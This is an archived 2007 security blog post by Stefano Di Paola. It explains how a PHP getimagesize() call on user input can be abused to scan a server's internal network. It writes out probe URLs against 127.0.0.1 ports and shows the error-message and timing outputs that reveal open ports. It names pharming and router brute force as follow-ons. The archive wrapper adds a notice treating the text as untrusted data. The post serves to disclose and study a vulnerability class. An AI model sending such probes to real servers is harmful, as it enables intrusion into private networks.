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title: Wisec - The WIse SECurity
description: "Stefano Di Paola turns a non-inclusion PHP wrapper sink such as getimagesize($_GET['image']) into an internal network scanner. Open and closed ports are told apart by the wording of the failed-to-open-stream warning, or by response timing when errors are suppressed, over http:// or ftp://. Enables drive-by pharming, router brute force and full LAN scans, with HTTP Basic auth supported."
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# Wisec - The WIse SECurity

**Wisec - The WIse SECurity** - Stefano Di Paola, wisec.it.

- Published: date not stated
- Original: <http://www.wisec.it/sectou.php?id=46d592056b008>
- Preserved from: http://www.wisec.it/sectou.php?id=46d592056b008 (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Wisec - The WIse SECurity

 THP [Wisec](https://www.wisec.it/) [USH](http://www.ush.it/) [DigitalBullets](http://www.digitalbullets.org/) [TheHackersPlace](http://www.thehackersplace.org/) [network](http://network.ush.it/)

|

![](http://www.wisec.it/images/logow.jpg)

The ***WI***se ***SEC***urity

  | [.italian](http://www.wisec.it/sectou.php?id=46d592056b008&lang=it)
 [.english](http://www.wisec.it/sectou.php?id=46d592056b008&lang=en)  |  |

 [Wisec Home](http://www.wisec.it/index.php) [SecSearch](http://www.wisec.it/search/) [Projects](http://www.wisec.it/projects.php) [Papers](http://www.wisec.it/docs.php) [Security Thoughts](http://www.wisec.it/sectou.php)

|   News

[Flash Application Testing: A New Vector for XSS and Cross Site Flashing.](http://www.wisec.it/sectou.php?id=464dd35c8c5ad)

[IE and Firefox Digest Authentication Request Splitting.](http://www.wisec.it/vulns.php?id=11)

[Php import_req_var globals overwrite Advisory.](http://www.wisec.it/vulns.php?id=10)

[Subverting Ajax - The Paper.](http://www.wisec.it/docs.php?id=4)

[Adobe Plugin Multiple Vulnerabilities.](http://www.wisec.it/vulns.php?page=9)

[Wisec@23rd.CCC Congress in Berlin - 29th Dec. 2006 - Subverting Ajax.](http://www.wisec.it/news.php)

[SecSearch. Search Engine for Security Community.](http://www.wisec.it/search/)

[Mysql COM_TABLE_DUMP Flaws.](http://www.wisec.it/vulns.php?page=8)

[Mysql Anonymous login Flaw.](http://www.wisec.it/vulns.php?page=7)

[A new project to stop embed passwords in Php scripts: PassBroker.](http://www.wisec.it/projects.php)

[MySQL new three vulnerabilities unleashed](http://www.wisec.it/vulns.php)

[PHP shmop safemode bypass](http://www.wisec.it/news.php?page=2)

[PHP RFC1867 Vuln - POC Released!](http://www.wisec.it/news.php?page=1)

 Search on Wisec

 ![Google](http://www.wisec.it/images/google32.png)

  |

# Security Thoughts

[ [Back](http://www.wisec.it/sectou.php) ]

Wednesday, August 29, 2007, 17:24

Scanning internal Lan with PHP remote file opening.

Even if some website is still vulnerable to remote file inclusion (RFI), this is becoming a quite rare scenery.
 Nonetheless, much more often it happens that some of the php functions allowing http or ftp protocol wrappers are exposed to user control.
 A perfect example for this tecnique is a fully controlled getsizeimage() function with allow_url_fopen.
 No RFI, no data returned, it could be just used for DoS.

 <?
 getimagesize($_GET['image']);
 ...
 ?>

 Obviously there's no RFI, and until yesterday probably nobody would care about check,inspect or exploit it. This article explains that some kind of attack could still be accomplished:

 Lan scanning and Drive by Pharming with error matching or time analisys.

 If the php error display is set to On, a simple request like:

 [http://victim.ltd/flawed.php?image=http://127.0.0.1:22/check](http://victim.ltd/flawed.php?image=http://127.0.0.1:22/check)

 will display:
 Warning: getimagesize(http://127.0.0.1:22/check): failed to open stream:
 Connection refused in...**

 This means it's a closed port.

 Indeed, an open port will be displayed as:

 **Warning: getimagesize(http://127.0.0.1:22): failed to open stream:
 HTTP request failed!...
 ftp :// protocol could obviously be used, too.

 If there's no error on output, timing attacks could be accomplished too.

 Infact we could get timing result if a port is closed:
 **http://victim.ltd/flawed.php?image=ftp://127.0.0.1:3306/check

 real 0m0.057s
 user 0m0.032s
 sys 0m0.020s
 Or if a port is opened :
 **http://victim.ltd/flawed.php?image=ftp://127.0.0.1:3306/check

 real 0m5.095s
 user 0m0.032s
 sys 0m0.020s

 ----
 So, what can be done?

 If the right conditions are satisfied:
 1. Drive By Pharming
 2. Bruteforcing routers.
 3. Full Lan Scan.

 Last, Ascii wrote a nice php script for Lan Scan.
 You can find it [here](http://www.ush.it/2007/08/29/scanning-dmz-hosts-with-remote-file-opening/)...

 Ah... did I mentioned that php remote file supports HTTP Basic Authentication? :)

 As usual, the next move is up to you

*No comments yet.*
